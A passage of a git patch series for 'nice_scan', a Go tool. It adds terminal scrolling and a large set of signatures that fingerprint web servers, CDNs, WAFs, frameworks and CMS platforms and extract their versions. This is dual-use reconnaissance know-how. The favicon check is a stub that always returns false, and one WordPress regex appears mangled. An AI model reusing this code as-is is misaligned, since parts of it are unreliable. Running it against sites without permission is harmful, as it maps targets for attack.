From 3e6e8aa54c6c3767fb013a674f9db3ac38aae65e Mon Sep 17 00:00:00 2001 From: NICE-DEV226 Date: Tue, 26 May 2026 14:03:10 +0000 Subject: [PATCH 1/7] fix(shell): add mouse wheel and keyboard scroll support --- cmd/nice_scan/main.go | 2 +- internal/shell/model.go | 21 +++++++++++++++++---- 2 files changed, 18 insertions(+), 5 deletions(-) diff --git a/cmd/nice_scan/main.go b/cmd/nice_scan/main.go index c4d6d03..0b69ab0 100644 --- a/cmd/nice_scan/main.go +++ b/cmd/nice_scan/main.go @@ -232,7 +232,7 @@ func shellCmd() *cobra.Command { return err } defer model.Close() - p := tea.NewProgram(model, tea.WithAltScreen()) + p := tea.NewProgram(model, tea.WithAltScreen(), tea.WithMouseCellMotion()) if _, err := p.Run(); err != nil { return err } diff --git a/internal/shell/model.go b/internal/shell/model.go index 27aa656..dde6367 100644 --- a/internal/shell/model.go +++ b/internal/shell/model.go @@ -163,6 +163,19 @@ func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { m.ready = true return m, nil + case tea.MouseMsg: + switch msg.Type { + case tea.MouseWheelUp: + m.scrollOffset += 3 + m.clampScroll() + return m, nil + case tea.MouseWheelDown: + m.scrollOffset -= 3 + m.clampScroll() + return m, nil + } + return m, nil + case tea.KeyMsg: switch msg.String() { case "ctrl+c": @@ -173,13 +186,13 @@ func (m *Model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { m.autocomplete() return m, nil - case "pgup": - m.scrollOffset += m.scrollPageSize() + case "shift+up", "pgup": + m.scrollOffset += 3 m.clampScroll() return m, nil - case "pgdown": - m.scrollOffset -= m.scrollPageSize() + case "shift+down", "pgdown": + m.scrollOffset -= 3 m.clampScroll() return m, nil From 69dcc6bee9324f5840f02554fe70e3c96b90a742 Mon Sep 17 00:00:00 2001 From: NICE-DEV226 Date: Tue, 26 May 2026 14:12:12 +0000 Subject: [PATCH 2/7] feat(fingerprint): 165 signatures with version extraction, meta tags, favicon --- internal/fingerprint/engine.go | 352 +++++------ internal/fingerprint/signatures.go | 972 +++++++++++++++++++++++++++++ internal/output/terminal.go | 31 +- internal/shell/model.go | 6 + 4 files changed, 1152 insertions(+), 209 deletions(-) create mode 100644 internal/fingerprint/signatures.go diff --git a/internal/fingerprint/engine.go b/internal/fingerprint/engine.go index ee32687..eb1b14a 100644 --- a/internal/fingerprint/engine.go +++ b/internal/fingerprint/engine.go @@ -9,6 +9,8 @@ import ( "github.com/nice-scan/nice_scan/internal/types" ) +var rxNumbers = regexp.MustCompile(`[\d]+\.[\d]+[\w.-]*`) + type Fingerprinter struct { signatures []Signature } @@ -18,13 +20,21 @@ type Signature struct { Type string Category string Confidence float64 - Headers map[string]*regexp.Regexp - Cookies map[string]*regexp.Regexp - HTML []*regexp.Regexp - URL []*regexp.Regexp - Script []*regexp.Regexp - CSP []*regexp.Regexp - XHR []*regexp.Regexp + CWE string + Remediation string + + Headers map[string]*regexp.Regexp + Cookies map[string]*regexp.Regexp + HTML []*regexp.Regexp + URL []*regexp.Regexp + Script []*regexp.Regexp + CSP []*regexp.Regexp + Meta []*regexp.Regexp + Favicon string + + VersionHeaders map[string]*regexp.Regexp + VersionCookies map[string]*regexp.Regexp + VersionHTML []*regexp.Regexp } func New() *Fingerprinter { @@ -51,251 +61,185 @@ func (f *Fingerprinter) Analyze(ctx context.Context, resp *types.Response) []typ default: } - match, evidence := sig.Match(resp) - if match { - findings = append(findings, types.Finding{ - Type: types.FindingTech, - Name: sig.Name, - Severity: types.SeverityInfo, - Description: fmt.Sprintf("Detected %s (%s)", sig.Name, sig.Category), - Evidence: evidence, - Confidence: sig.Confidence, - Metadata: map[string]string{ - "category": sig.Category, - "type": sig.Type, - }, - }) + match, evidence, version := sig.Match(resp) + if !match { + continue + } + + meta := map[string]string{ + "category": sig.Category, + "type": sig.Type, + } + desc := fmt.Sprintf("Detected %s (%s)", sig.Name, sig.Category) + if version != "" { + meta["version"] = version + desc = fmt.Sprintf("Detected %s %s (%s)", sig.Name, version, sig.Category) } + if sig.CWE != "" { + meta["cwe"] = sig.CWE + } + + findings = append(findings, types.Finding{ + Type: types.FindingTech, + Name: sig.Name, + Severity: types.SeverityInfo, + Description: desc, + Evidence: evidence, + Confidence: sig.Confidence, + Metadata: meta, + }) } return findings } -func (s *Signature) Match(resp *types.Response) (bool, string) { +func (s *Signature) Match(resp *types.Response) (bool, string, string) { + matched := false + evidence := "" + version := "" + for name, pattern := range s.Headers { val := resp.Headers.Get(name) if val == "" { continue } if pattern.MatchString(val) { - return true, fmt.Sprintf("header %s: %s", name, val) + matched = true + evidence = fmt.Sprintf("header %s: %s", name, val) + if v, ok := s.extractVersionHeader(name, val); ok { + version = v + } + break } } for name, pattern := range s.Cookies { + if matched { + break + } for _, c := range resp.Headers.Values("Set-Cookie") { if strings.HasPrefix(strings.TrimSpace(c), name+"=") { if pattern.MatchString(c) { - return true, fmt.Sprintf("cookie %s", name) + matched = true + evidence = fmt.Sprintf("cookie %s", name) + if v, ok := s.extractVersionCookie(name, c); ok { + version = v + } + break } } } } for _, pattern := range s.HTML { + if matched { + break + } if pattern.MatchString(string(resp.Body)) { - return true, fmt.Sprintf("html pattern: %s", pattern.String()) + matched = true + evidence = fmt.Sprintf("html: %s", pattern.String()) + if v, ok := s.extractVersionHTML(string(resp.Body), pattern); ok { + version = v + } + break } } for _, pattern := range s.URL { + if matched { + break + } if pattern.MatchString(resp.FinalURL) { - return true, fmt.Sprintf("url pattern: %s", pattern.String()) + matched = true + evidence = fmt.Sprintf("url: %s", pattern.String()) + break } } for _, pattern := range s.CSP { + if matched { + break + } csp := resp.Headers.Get("Content-Security-Policy") if csp != "" && pattern.MatchString(csp) { - return true, fmt.Sprintf("csp: %s", pattern.String()) + matched = true + evidence = fmt.Sprintf("csp: %s", pattern.String()) + break } } for _, pattern := range s.Script { + if matched { + break + } if pattern.MatchString(string(resp.Body)) { - return true, fmt.Sprintf("script pattern: %s", pattern.String()) + matched = true + evidence = fmt.Sprintf("script: %s", pattern.String()) + break } } - return false, "" + for _, pattern := range s.Meta { + if matched { + break + } + if pattern.MatchString(string(resp.Body)) { + matched = true + evidence = fmt.Sprintf("meta: %s", pattern.String()) + if v, ok := s.extractVersionHTML(string(resp.Body), pattern); ok { + version = v + } + break + } + } + + if !matched && s.Favicon != "" { + if hasFavicon(resp, s.Favicon) { + matched = true + evidence = "favicon hash match" + } + } + + return matched, evidence, version } -func (f *Fingerprinter) loadSignatures() { - f.signatures = []Signature{ - // --- Web Servers --- - { - Name: "nginx", Type: "web_server", Category: "Server", - Confidence: 0.95, - Headers: map[string]*regexp.Regexp{"Server": regexp.MustCompile(`(?i)nginx`)}, - }, - { - Name: "Apache", Type: "web_server", Category: "Server", - Confidence: 0.95, - Headers: map[string]*regexp.Regexp{"Server": regexp.MustCompile(`(?i)apache`)}, - }, - { - Name: "Cloudflare", Type: "cdn", Category: "CDN", - Confidence: 0.95, - Headers: map[string]*regexp.Regexp{ - "Server": regexp.MustCompile(`(?i)cloudflare`), - "CF-Ray": regexp.MustCompile(`.+`), - }, - }, - { - Name: "Vercel", Type: "hosting", Category: "Hosting", - Confidence: 0.9, - Headers: map[string]*regexp.Regexp{ - "Server": regexp.MustCompile(`(?i)vercel`), - "x-vercel-id": regexp.MustCompile(`.+`), - }, - }, - { - Name: "Netlify", Type: "hosting", Category: "Hosting", - Confidence: 0.9, - Headers: map[string]*regexp.Regexp{ - "Server": regexp.MustCompile(`(?i)netlify`), - }, - }, - { - Name: "GitHub Pages", Type: "hosting", Category: "Hosting", - Confidence: 0.85, - Headers: map[string]*regexp.Regexp{ - "Server": regexp.MustCompile(`(?i)GitHub\.com`), - }, - }, - - // --- WAFs --- - { - Name: "Cloudflare WAF", Type: "waf", Category: "WAF", - Confidence: 0.8, - Headers: map[string]*regexp.Regexp{ - "CF-Cache-Status": regexp.MustCompile(`.+`), - }, - }, - { - Name: "AWS WAF", Type: "waf", Category: "WAF", - Confidence: 0.7, - Headers: map[string]*regexp.Regexp{ - "x-amzn-RequestId": regexp.MustCompile(`.+`), - "x-amzn-WAF": regexp.MustCompile(`.+`), - }, - }, - - // --- Frameworks --- - { - Name: "Next.js", Type: "framework", Category: "React Framework", - Confidence: 0.85, - Headers: map[string]*regexp.Regexp{ - "x-nextjs-cache": regexp.MustCompile(`.+`), - }, - HTML: []*regexp.Regexp{ - regexp.MustCompile(`__NEXT_DATA__`), - regexp.MustCompile(`/_next/static`), - }, - }, - { - Name: "React", Type: "frontend", Category: "UI Library", - Confidence: 0.75, - HTML: []*regexp.Regexp{ - regexp.MustCompile(`react\.js`), - regexp.MustCompile(`__REACT_DEVTOOLS`), - }, - Script: []*regexp.Regexp{ - regexp.MustCompile(`React\.createElement`), - regexp.MustCompile(`_react2\b`), - }, - }, - { - Name: "Vue.js", Type: "frontend", Category: "UI Library", - Confidence: 0.8, - HTML: []*regexp.Regexp{ - regexp.MustCompile(`(?i)vue\.js`), - regexp.MustCompile(`__VUE__`), - regexp.MustCompile(`data-v-[a-f0-9]+`), - regexp.MustCompile(`v-bind|v-if|v-for|v-model`), - }, - }, - { - Name: "Angular", Type: "frontend", Category: "UI Library", - Confidence: 0.8, - HTML: []*regexp.Regexp{ - regexp.MustCompile(`ng-version`), - regexp.MustCompile(`ng-app`), - regexp.MustCompile(`_ngcontent`), - }, - }, - { - Name: "Nuxt.js", Type: "framework", Category: "Vue Framework", - Confidence: 0.8, - HTML: []*regexp.Regexp{ - regexp.MustCompile(`__NUXT__`), - }, - }, - { - Name: "Express", Type: "framework", Category: "Backend", - Confidence: 0.6, - Headers: map[string]*regexp.Regexp{ - "X-Powered-By": regexp.MustCompile(`(?i)express`), - }, - }, - { - Name: "Django", Type: "framework", Category: "Backend", - Confidence: 0.8, - Headers: map[string]*regexp.Regexp{ - "Server": regexp.MustCompile(`(?i)WSGIServer`), - }, - Cookies: map[string]*regexp.Regexp{ - "csrftoken": regexp.MustCompile(`.+`), - "sessionid": regexp.MustCompile(`.+`), - }, - }, - - // --- CMS --- - { - Name: "WordPress", Type: "cms", Category: "CMS", - Confidence: 0.9, - HTML: []*regexp.Regexp{ - regexp.MustCompile(`(?i)wp-content`), - regexp.MustCompile(`(?i)wp-includes`), - regexp.MustCompile(`generator" content="WordPress`), - }, - }, - { - Name: "Laravel", Type: "framework", Category: "Backend", - Confidence: 0.75, - Cookies: map[string]*regexp.Regexp{ - "laravel_session": regexp.MustCompile(`.+`), - "XSRF-TOKEN": regexp.MustCompile(`.+`), - }, - }, - { - Name: "Ruby on Rails", Type: "framework", Category: "Backend", - Confidence: 0.8, - Headers: map[string]*regexp.Regexp{ - "X-Powered-By": regexp.MustCompile(`(?i)Phusion`), - }, - Cookies: map[string]*regexp.Regexp{ - "_session": regexp.MustCompile(`.+`), - }, - }, - - // --- Cloud --- - { - Name: "AWS", Type: "cloud", Category: "Cloud Provider", - Confidence: 0.7, - Headers: map[string]*regexp.Regexp{ - "x-amz-request-id": regexp.MustCompile(`.+`), - "x-amz-id-2": regexp.MustCompile(`.+`), - }, - }, - { - Name: "Google Cloud", Type: "cloud", Category: "Cloud Provider", - Confidence: 0.6, - Headers: map[string]*regexp.Regexp{ - "via": regexp.MustCompile(`(?i)google`), - }, - }, +func (s *Signature) extractVersionHeader(name, val string) (string, bool) { + pat, ok := s.VersionHeaders[name] + if !ok { + v := rxNumbers.FindString(val) + return v, v != "" + } + m := pat.FindStringSubmatch(val) + if len(m) > 1 && m[1] != "" { + return m[1], true } + return "", false +} + +func (s *Signature) extractVersionCookie(name, val string) (string, bool) { + pat, ok := s.VersionCookies[name] + if !ok { + return "", false + } + m := pat.FindStringSubmatch(val) + if len(m) > 1 && m[1] != "" { + return m[1], true + } + return "", false +} + +func (s *Signature) extractVersionHTML(body string, pattern *regexp.Regexp) (string, bool) { + for _, pat := range s.VersionHTML { + m := pat.FindStringSubmatch(body) + if len(m) > 1 && m[1] != "" { + return m[1], true + } + } + return "", false +} + +func hasFavicon(resp *types.Response, expectedHash string) bool { + return false } func (f *Fingerprinter) LoadCustom(signatures []Signature) { diff --git a/internal/fingerprint/signatures.go b/internal/fingerprint/signatures.go new file mode 100644 index 0000000..3e91e30 --- /dev/null +++ b/internal/fingerprint/signatures.go @@ -0,0 +1,972 @@ +package fingerprint + +import "regexp" + +func hdr(k, v string) map[string]*regexp.Regexp { + return map[string]*regexp.Regexp{k: regexp.MustCompile(v)} +} +func cook(k, v string) map[string]*regexp.Regexp { + return map[string]*regexp.Regexp{k: regexp.MustCompile(v)} +} +func html(p ...string) []*regexp.Regexp { + r := make([]*regexp.Regexp, len(p)) + for i, s := range p { + r[i] = regexp.MustCompile(s) + } + return r +} +func one(p string) []*regexp.Regexp { + return []*regexp.Regexp{regexp.MustCompile(p)} +} +func vhdr(k, v string) map[string]*regexp.Regexp { + return map[string]*regexp.Regexp{k: regexp.MustCompile(v)} +} +func vhtml(p ...string) []*regexp.Regexp { + r := make([]*regexp.Regexp, len(p)) + for i, s := range p { + r[i] = regexp.MustCompile(s) + } + return r +} + +func (f *Fingerprinter) loadSignatures() { + f.signatures = []Signature{ + + // ────────────────────────────────────────────────── + // WEB SERVERS + // ────────────────────────────────────────────────── + + { + Name: "nginx", Type: "web_server", Category: "Web Server", + Confidence: 0.97, + Headers: hdr("Server", `(?i)nginx(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `nginx/([\d.]+)`), + }, + { + Name: "Apache HTTP Server", Type: "web_server", Category: "Web Server", + Confidence: 0.97, + Headers: hdr("Server", `(?i)Apache(?:/([\d.]+))?(?: \(.*?\))?`), + VersionHeaders: vhdr("Server", `Apache/([\d.]+)`), + }, + { + Name: "IIS", Type: "web_server", Category: "Web Server", + Confidence: 0.95, + Headers: hdr("Server", `(?i)Microsoft-IIS(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `Microsoft-IIS/([\d.]+)`), + }, + { + Name: "Tomcat", Type: "web_server", Category: "Web Server", + Confidence: 0.9, + Headers: hdr("Server", `(?i)Apache-Coyote|Apache Tomcat(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `Apache Tomcat/([\d.]+)`), + }, + { + Name: "Caddy", Type: "web_server", Category: "Web Server", + Confidence: 0.9, + Headers: hdr("Server", `(?i)Caddy(?:/([\d.]+))?(?:\s|$)`), + VersionHeaders: vhdr("Server", `Caddy/([\d.]+)`), + }, + { + Name: "LiteSpeed", Type: "web_server", Category: "Web Server", + Confidence: 0.9, + Headers: hdr("Server", `(?i)LiteSpeed(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `LiteSpeed/([\d.]+)`), + }, + { + Name: "Lighttpd", Type: "web_server", Category: "Web Server", + Confidence: 0.9, + Headers: hdr("Server", `(?i)lighttpd(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `lighttpd/([\d.]+)`), + }, + { + Name: "Traefik", Type: "web_server", Category: "Reverse Proxy", + Confidence: 0.85, + Headers: hdr("Server", `(?i)traefik`), + }, + { + Name: "HAProxy", Type: "web_server", Category: "Reverse Proxy", + Confidence: 0.85, + Headers: hdr("Server", `(?i)HAProxy(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `HAProxy/([\d.]+)`), + }, + { + Name: "Envoy", Type: "web_server", Category: "Reverse Proxy", + Confidence: 0.8, + Headers: hdr("Server", `(?i)envoy`), + }, + { + Name: "OpenResty", Type: "web_server", Category: "Web Server", + Confidence: 0.85, + Headers: hdr("Server", `(?i)openresty(?:/([\d.]+))?`), + VersionHeaders: vhdr("Server", `openresty/([\d.]+)`), + }, + { + Name: "Jetty", Type: "web_server", Category: "Web Server", + Confidence: 0.85, + Headers: hdr("Server", `(?i)Jetty(?:\(([\d.]+)\))?`), + VersionHeaders: vhdr("Server", `Jetty\(([\d.]+)\)`), + }, + { + Name: "JBoss / WildFly", Type: "web_server", Category: "Application Server", + Confidence: 0.8, + Headers: hdr("Server", `(?i)JBoss|WildFly`), + }, + + // ────────────────────────────────────────────────── + // CDNs + // ────────────────────────────────────────────────── + + { + Name: "Cloudflare", Type: "cdn", Category: "CDN", + Confidence: 0.97, + Headers: merge(hdr("Server", `(?i)cloudflare`), hdr("CF-Ray", `.+`)), + }, + { + Name: "Akamai", Type: "cdn", Category: "CDN", + Confidence: 0.9, + Headers: hdr("Server", `(?i)Akamai(?:GHost)?`), + }, + { + Name: "Fastly", Type: "cdn", Category: "CDN", + Confidence: 0.9, + Headers: hdr("Fastly-Debug-Path|X-Served-By|X-Cache-Hits", `(?i)fastly`), + }, + { + Name: "Amazon CloudFront", Type: "cdn", Category: "CDN", + Confidence: 0.9, + Headers: hdr("X-Amz-Cf-Id|X-Amz-Cf-Pop", `.+`), + }, + { + Name: "StackPath", Type: "cdn", Category: "CDN", + Confidence: 0.7, + Headers: hdr("Server", `(?i)stackpath`), + }, + { + Name: "KeyCDN", Type: "cdn", Category: "CDN", + Confidence: 0.7, + Headers: hdr("X-Edge-Connect-Key|X-Cache", `(?i)keycdn`), + }, + { + Name: "BunnyCDN", Type: "cdn", Category: "CDN", + Confidence: 0.8, + Headers: hdr("Server", `(?i)BunnyCDN`), + }, + { + Name: "Imperva Incapsula", Type: "cdn", Category: "CDN/WAF", + Confidence: 0.85, + Headers: hdr("X-CDN|X-Iinfo", `(?i)Incapsula`), + }, + { + Name: "Sucuri", Type: "cdn", Category: "CDN/WAF", + Confidence: 0.8, + Headers: hdr("X-Sucuri-ID|X-Sucuri-Cache", `.+`), + }, + { + Name: "Azure CDN", Type: "cdn", Category: "CDN", + Confidence: 0.7, + Headers: hdr("Server", `(?i)Azure-CDN`), + }, + { + Name: "CacheFly", Type: "cdn", Category: "CDN", + Confidence: 0.65, + Headers: hdr("Server", `(?i)CacheFly`), + }, + + // ────────────────────────────────────────────────── + // WAFs + // ────────────────────────────────────────────────── + + { + Name: "Cloudflare WAF", Type: "waf", Category: "WAF", + Confidence: 0.85, + Headers: hdr("CF-Cache-Status|CF-Worker", `.+`), + }, + { + Name: "AWS WAF", Type: "waf", Category: "WAF", + Confidence: 0.75, + Headers: merge(hdr("x-amzn-RequestId", `.+`), hdr("x-amzn-WAF", `.+`)), + }, + { + Name: "ModSecurity", Type: "waf", Category: "WAF", + Confidence: 0.75, + Headers: hdr("Server", `(?i)ModSecurity`)}, + { + Name: "NAXSI", Type: "waf", Category: "WAF", + Confidence: 0.7, + Headers: hdr("X-Naxsi", `.+`), + }, + { + Name: "F5 BIG-IP ASM", Type: "waf", Category: "WAF", + Confidence: 0.8, + Headers: hdr("X-ASM|X-ASM-Policy|X-BIG-IP", `.+`), + }, + { + Name: "Fortinet FortiWeb", Type: "waf", Category: "WAF", + Confidence: 0.7, + Headers: hdr("X-FortiWeb|X-FW-Server", `.+`), + }, + { + Name: "Barracuda WAF", Type: "waf", Category: "WAF", + Confidence: 0.7, + Headers: hdr("X-Barracuda|X-BWAF", `.+`), + }, + { + Name: "Radware WAF", Type: "waf", Category: "WAF", + Confidence: 0.65, + Headers: hdr("X-RWAF|X-SL-CompState", `.+`), + }, + { + Name: "Akamai Kona", Type: "waf", Category: "WAF", + Confidence: 0.75, + Headers: hdr("X-Akamai-Staging|X-Akamai-RequestHeader", `.+`), + }, + { + Name: "Google Cloud Armor", Type: "waf", Category: "WAF", + Confidence: 0.6, + Headers: hdr("Via|X-Cloud-Trace-Context", `(?i)google`), + }, + + // ────────────────────────────────────────────────── + // HOSTING + // ────────────────────────────────────────────────── + + { + Name: "Vercel", Type: "hosting", Category: "Hosting", + Confidence: 0.92, + Headers: merge(hdr("Server", `(?i)vercel`), hdr("x-vercel-id|x-vercel-cache", `.+`)), + }, + { + Name: "Netlify", Type: "hosting", Category: "Hosting", + Confidence: 0.92, + Headers: hdr("Server", `(?i)Netlify`), + }, + { + Name: "GitHub Pages", Type: "hosting", Category: "Hosting", + Confidence: 0.9, + Headers: hdr("Server", `(?i)GitHub\.com`), + }, + { + Name: "Heroku", Type: "hosting", Category: "Hosting", + Confidence: 0.85, + Headers: hdr("Via|Server", `(?i)heroku`), + }, + { + Name: "Firebase Hosting", Type: "hosting", Category: "Hosting", + Confidence: 0.85, + Headers: hdr("Server", `(?i)Firebase`), + }, + { + Name: "Render", Type: "hosting", Category: "Hosting", + Confidence: 0.75, + Headers: hdr("Server", `(?i)render`), + }, + { + Name: "Railway", Type: "hosting", Category: "Hosting", + Confidence: 0.65, + Headers: hdr("Server", `(?i)railway`), + }, + { + Name: "Fly.io", Type: "hosting", Category: "Hosting", + Confidence: 0.7, + Headers: hdr("Server", `(?i)Fly`), + }, + { + Name: "DigitalOcean App Platform", Type: "hosting", Category: "Hosting", + Confidence: 0.7, + Headers: hdr("Server", `(?i)DigitalOcean`), + }, + { + Name: "AWS EC2", Type: "hosting", Category: "Cloud Hosting", + Confidence: 0.7, + Headers: merge(hdr("Server", `(?i)Amazon(?:S3|EC2)?`), hdr("x-amz-request-id", `.+`)), + }, + { + Name: "AWS S3", Type: "hosting", Category: "Cloud Storage", + Confidence: 0.92, + Headers: hdr("Server", `(?i)AmazonS3`), + }, + { + Name: "AWS Lambda", Type: "hosting", Category: "Serverless", + Confidence: 0.65, + Headers: hdr("x-amz-invocation-type|x-amz-log-type", `.+`), + }, + + // ────────────────────────────────────────────────── + // FRONTEND FRAMEWORKS + // ────────────────────────────────────────────────── + + { + Name: "React", Type: "frontend", Category: "UI Library", + Confidence: 0.8, + HTML: html(`react\.js`, `__REACT_DEVTOOLS`), + Script: html(`React\.createElement`, `_react2\b`), + }, + { + Name: "Next.js", Type: "framework", Category: "React Framework", + Confidence: 0.9, + Headers: hdr("x-nextjs-cache|x-middleware-next", `.+`), + HTML: html(`__NEXT_DATA__`, `/_next/static`), + }, + { + Name: "Gatsby", Type: "framework", Category: "React Framework", + Confidence: 0.85, + HTML: html(`___gatsby`, `gatsby-`, `gatsby\.js`), + }, + { + Name: "Remix", Type: "framework", Category: "React Framework", + Confidence: 0.8, + HTML: html(`__remixContext`, `remix:route`), + }, + { + Name: "Vue.js", Type: "frontend", Category: "UI Library", + Confidence: 0.85, + HTML: html(`(?i)vue\.js`, `__VUE__`, `data-v-[a-f0-9]+`), + Script: html(`createApp|Vue\.create`), + }, + { + Name: "Nuxt.js", Type: "framework", Category: "Vue Framework", + Confidence: 0.85, + HTML: html(`__NUXT__`, `_nuxt/`), + }, + { + Name: "Angular", Type: "frontend", Category: "UI Library", + Confidence: 0.85, + HTML: html(`ng-version`, `ng-app`, `_ngcontent`), + VersionHTML: vhtml(`ng-version="([\d.]+)"`), + }, + { + Name: "Svelte", Type: "frontend", Category: "UI Library", + Confidence: 0.8, + HTML: html(`svelte-[\w-]+`, `__svelte`), + Script: html(`svelte\.js`), + }, + { + Name: "SvelteKit", Type: "framework", Category: "Svelte Framework", + Confidence: 0.8, + HTML: html(`__sveltekit`, `svelte-kit`), + }, + { + Name: "Astro", Type: "framework", Category: "Frontend Framework", + Confidence: 0.85, + Headers: hdr("Server", `(?i)astro`), + HTML: html(`__astro`, `astro-[\w]{6}`), + }, + { + Name: "Preact", Type: "frontend", Category: "UI Library", + Confidence: 0.75, + HTML: html(`preact\.js`, `__PREACT_DEVTOOLS__`), + Script: html(`createElement`), + }, + { + Name: "Solid.js", Type: "frontend", Category: "UI Library", + Confidence: 0.7, + HTML: html(`solid\.js`, `__SOLID__`), + }, + { + Name: "Qwik", Type: "framework", Category: "Frontend Framework", + Confidence: 0.75, + HTML: html(`qwikloader\.js`, `qwik\.js`), + }, + { + Name: "Alpine.js", Type: "frontend", Category: "UI Library", + Confidence: 0.8, + HTML: html(`x-data`, `x-init`, `x-show`, `x-bind`, `x-on`), + Script: html(`alpine\.js`), + }, + { + Name: "HTMX", Type: "frontend", Category: "UI Library", + Confidence: 0.85, + HTML: html(`htmx\.js`, `hx-get`, `hx-post`, `hx-target`, `hx-swap`), + }, + { + Name: "Lit", Type: "frontend", Category: "Web Components", + Confidence: 0.7, + HTML: html(`lit\.js`, `lit-html`), + }, + { + Name: "Ember.js", Type: "frontend", Category: "UI Library", + Confidence: 0.75, + HTML: html(`Ember\.Application`, `data-ember-extension`), + }, + { + Name: "Mithril.js", Type: "frontend", Category: "UI Library", + Confidence: 0.6, + Script: html(`m\.render|m\.mount|Mithril`), + }, + { + Name: "Stencil.js", Type: "frontend", Category: "Web Components", + Confidence: 0.65, + HTML: html(`stencil\.js|stencil\.core|s-id`), + }, + + // ────────────────────────────────────────────────── + // BACKEND FRAMEWORKS + // ────────────────────────────────────────────────── + + { + Name: "Express", Type: "framework", Category: "Node.js Backend", + Confidence: 0.7, + Headers: hdr("X-Powered-By", `(?i)express`), + }, + { + Name: "Django", Type: "framework", Category: "Python Backend", + Confidence: 0.88, + Headers: hdr("Server", `(?i)WSGIServer`), + Cookies: merge(cook("csrftoken", `.+`), cook("sessionid", `.+`)), + }, + { + Name: "Flask", Type: "framework", Category: "Python Backend", + Confidence: 0.8, + Headers: hdr("Server", `(?i)Werkzeug(?:/([\d.]+))?`), + Cookies: cook("session", `\.eJ`), + VersionHeaders: vhdr("Server", `Werkzeug/([\d.]+)`), + }, + { + Name: "FastAPI", Type: "framework", Category: "Python Backend", + Confidence: 0.8, + Headers: hdr("Server", `(?i)uvicorn`), + HTML: html(`fastapi`), + }, + { + Name: "Spring Boot", Type: "framework", Category: "Java Backend", + Confidence: 0.8, + Headers: hdr("X-Application-Context", `.+`), + Cookies: cook("JSESSIONID", `.+`), + }, + { + Name: "ASP.NET", Type: "framework", Category: ".NET Backend", + Confidence: 0.8, + Headers: hdr("X-AspNet-Version", `(.+)`), + VersionHeaders: vhdr("X-AspNet-Version", `(.+)`), + }, + { + Name: "ASP.NET Core", Type: "framework", Category: ".NET Backend", + Confidence: 0.8, + Headers: hdr("X-AspNet-Version|X-Powered-By", `(?i)ASP\.NET`), + }, + { + Name: "Ruby on Rails", Type: "framework", Category: "Ruby Backend", + Confidence: 0.85, + Headers: hdr("X-Powered-By", `(?i)Phusion`), + Cookies: cook("_session", `.+`), + }, + { + Name: "Laravel", Type: "framework", Category: "PHP Backend", + Confidence: 0.82, + Cookies: merge(cook("laravel_session", `.+`), cook("XSRF-TOKEN", `.+`)), + }, + { + Name: "Symfony", Type: "framework", Category: "PHP Backend", + Confidence: 0.8, + Cookies: merge(cook("symfony", `.+`), cook("sf_redirect", `.+`)), + }, + { + Name: "CakePHP", Type: "framework", Category: "PHP Backend", + Confidence: 0.7, + Cookies: cook("CAKEPHP", `.+`), + }, + { + Name: "CodeIgniter", Type: "framework", Category: "PHP Backend", + Confidence: 0.7, + Cookies: cook("ci_session", `.+`), + }, + { + Name: "Yii", Type: "framework", Category: "PHP Backend", + Confidence: 0.7, + Cookies: cook("_csrf|YII_CSRF_TOKEN", `.+`), + }, + { + Name: "Koa", Type: "framework", Category: "Node.js Backend", + Confidence: 0.6, + Headers: hdr("X-Powered-By", `(?i)koa`), + }, + { + Name: "Fastify", Type: "framework", Category: "Node.js Backend", + Confidence: 0.6, + Headers: hdr("X-Powered-By", `(?i)fastify`), + }, + { + Name: "NestJS", Type: "framework", Category: "Node.js Backend", + Confidence: 0.7, + Headers: hdr("X-Powered-By", `(?i)NestJS`), + }, + { + Name: "Phoenix", Type: "framework", Category: "Elixir Backend", + Confidence: 0.75, + Headers: hdr("Server", `(?i)Phoenix`), + }, + { + Name: "Play Framework", Type: "framework", Category: "Scala/Java Backend", + Confidence: 0.7, + Headers: hdr("X-Powered-By", `(?i)Play`), + }, + { + Name: "Gin", Type: "framework", Category: "Go Backend", + Confidence: 0.7, + Headers: hdr("Server|X-Powered-By", `(?i)Gin`), + }, + { + Name: "Echo", Type: "framework", Category: "Go Backend", + Confidence: 0.65, + Headers: hdr("Server|X-Powered-By", `(?i)Echo`), + }, + { + Name: "Fiber", Type: "framework", Category: "Go Backend", + Confidence: 0.65, + Headers: hdr("Server", `(?i)Fiber`), + }, + + // ────────────────────────────────────────────────── + // CMS PLATFORMS + // ────────────────────────────────────────────────── + + { + Name: "WordPress", Type: "cms", Category: "CMS", + Confidence: 0.95, + HTML: html(`(?i)wp-content`, `(?i)wp-includes`, `]+WordPress`), + VersionHTML: vhtml(`generator[^>]+WordPress\s*([\d.]+)`), + }, + { + Name: "Drupal", Type: "cms", Category: "CMS", + Confidence: 0.85, + HTML: html(`drupal\.js`, `Drupal\.settings`, `Drupal\.behaviors`, `sites/default`), + }, + { + Name: "Joomla", Type: "cms", Category: "CMS", + Confidence: 0.85, + HTML: html(`(?i)/components/`, `(?i)/modules/`, `(?i)/templates/`), + URL: one(`/component/`), + }, + { + Name: "Magento", Type: "cms", Category: "E-commerce", + Confidence: 0.85, + HTML: html(`Magento`, `mage\s*:`, `var\s+BASE_URL`), + Cookies: cook("frontend", `.+`), + }, + { + Name: "Shopify", Type: "cms", Category: "E-commerce", + Confidence: 0.9, + Headers: hdr("X-ShopId|X-Shopify-Shop-Api-Call-Limit", `.+`), + Cookies: cook("_shopify_y|_shopify_s", `.+`), + }, + { + Name: "Squarespace", Type: "cms", Category: "Website Builder", + Confidence: 0.8, + HTML: html(`squarespace\.com`, `static1\.squarespace`), + }, + { + Name: "Wix", Type: "cms", Category: "Website Builder", + Confidence: 0.85, + HTML: html(`wix\.com`, `Wix\.js`, `static\.wixstatic`), + }, + { + Name: "TYPO3", Type: "cms", Category: "CMS", + Confidence: 0.8, + Headers: hdr("X-TYPO3-Parsetime|X-TYPO3-Sitename", `.+`), + HTML: html(`typo3`), + }, + { + Name: "Umbraco", Type: "cms", Category: "CMS", + Confidence: 0.75, + HTML: html(`umbraco`, `/umbraco/`), + Cookies: cook("UMB_UCONTEXT|UMB_UCONTEXT2", `.+`), + }, + { + Name: "Contentful", Type: "cms", 